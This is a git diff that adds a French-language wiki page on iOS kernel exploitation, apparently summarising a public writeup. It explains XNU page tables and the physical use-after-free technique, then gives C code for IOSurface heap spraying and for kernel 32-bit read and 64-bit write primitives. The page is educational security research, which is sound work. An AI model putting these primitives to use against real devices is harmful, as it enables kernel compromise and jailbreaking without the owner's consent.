diff --git a/SUMMARY.md b/SUMMARY.md index 649dfb1b6..ed2b2504d 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -778,6 +778,7 @@ * [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md) * [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +* [iOS Exploiting](binary-exploitation/ios-exploiting.md) ## 🔩 Reversing diff --git a/binary-exploitation/ios-exploiting.md b/binary-exploitation/ios-exploiting.md new file mode 100644 index 000000000..bb71c330b --- /dev/null +++ b/binary-exploitation/ios-exploiting.md @@ -0,0 +1,203 @@ +# iOS Exploiting + +## Utilisation physique après libération + +Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) de plus, des informations supplémentaires sur l'exploit utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Gestion de la mémoire dans XNU + +L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles. + +#### Niveaux des tables de pages dans iOS + +Les tables de pages sont organisées hiérarchiquement en trois niveaux : + +1. **Table de pages L1 (Niveau 1)** : +* Chaque entrée ici représente une large plage de mémoire virtuelle. +* Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle. +2. **Table de pages L2 (Niveau 2)** : +* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo). +* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même. +3. **Table de pages L3 (Niveau 3)** : +* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**. +* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire. + +#### Mapping de la mémoire virtuelle à la mémoire physique + +* **Mapping direct (Mapping par bloc)** : +* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci). +* **Pointeur vers la table de pages enfant** : +* Si un contrôle plus fin est nécessaire, une entrée dans un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2). + +#### Exemple : Mapping d'une adresse virtuelle + +Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** : + +1. **Table L1** : +* Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2. +2. **Table L2** : +* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, elle y procède. +3. **Table L3** : +* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle. + +#### Exemple de mapping d'adresse + +Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors : + +* Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**. +* C'est un **mapping par bloc** au niveau L2. + +Alternativement, si l'entrée L2 pointe vers une table L3 : + +* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3. + +### Utilisation physique après libération + +Une **utilisation physique après libération** (UAF) se produit lorsque : + +1. Un processus **alloue** de la mémoire comme **lisible et écrivable**. +2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder. +3. Le processus **désalloue** (libère) la mémoire. +4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre. +5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**. +6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique. + +Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**. + +### Stratégie d'exploitation : Spray de tas + +Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** : + +1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau. +2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier. +3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée. +4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**. + +Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +### Processus de spray de tas étape par étape + +1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique"). +2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée. +3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de : +* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau. +* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**. + +Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard : +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Recherchez des objets **`IOSurface`** dans une page physique libérée : +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Réaliser des opérations de lecture/écriture du noyau avec IOSurface + +Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**. + +**Champs clés dans IOSurface** + +L'objet IOSurface a deux champs cruciaux : + +1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**. +2. **Pointeur d'horodatage indexé** : Permet une **écriture de 64 bits**. + +En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture. + +#### Lecture du noyau de 32 bits + +Pour effectuer une lecture : + +1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets. +2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### Écriture du noyau 64 bits + +Pour effectuer une écriture : + +1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible. +2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Récapitulatif du Flux d'Exploitation + +1. **Déclencher une Utilisation-Après-Libération Physique** : Les pages libérées sont disponibles pour réutilisation. +2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau. +3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez. +4. **Abuser de l'Utilisation-Après-Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** **kernel** arbitraire via les méthodes IOSurface. + +Avec ces primitives, l'exploit fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).